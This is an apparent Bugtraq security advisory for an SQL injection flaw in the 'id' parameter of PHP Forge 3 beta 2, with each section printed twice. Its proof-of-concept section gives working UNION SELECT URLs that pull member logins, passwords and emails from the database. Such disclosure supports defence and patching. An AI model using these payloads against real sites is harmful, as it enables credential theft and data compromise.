PHP Forge 'id' Parameter SQL Injection Vulnerability
BID:28950
Info
PHP Forge 'id' Parameter SQL Injection Vulnerability
| Bugtraq ID: | 28950 |
| Class: | Input Validation Error |
| CVE: |
CVE-2008-2088 |
| Remote: | Yes |
| Local: | No |
| Published: | Apr 26 2008 12:00AM |
| Updated: | May 07 2015 05:29PM |
| Credit: | jiko |
| Vulnerable: |
PHP Forge PHP Forge 3 beta 2 |
| Not Vulnerable: | |
Discussion
PHP Forge 'id' Parameter SQL Injection Vulnerability
PHP Forge is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
The issue affects PHP Forge 3 beta 2 and prior versions.
PHP Forge is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
The issue affects PHP Forge 3 beta 2 and prior versions.
Exploit / POC
PHP Forge 'id' Parameter SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following example URIs are available:
http://www.example.com/admin.php?module=news&p=modifier&id=-1 union select 0,identifiant,mdp,pseudo,email,description,6,7 from membres--
http://www.example.com/admin.php?module=news&p=modifier&id=-1 union select 0,1,database(),3,4,5,6,7 from membres--
Attackers can use a browser to exploit this issue.
The following example URIs are available:
http://www.example.com/admin.php?module=news&p=modifier&id=-1 union select 0,identifiant,mdp,pseudo,email,description,6,7 from membres--
http://www.example.com/admin.php?module=news&p=modifier&id=-1 union select 0,1,database(),3,4,5,6,7 from membres--
Solution / Fix
PHP Forge 'id' Parameter SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].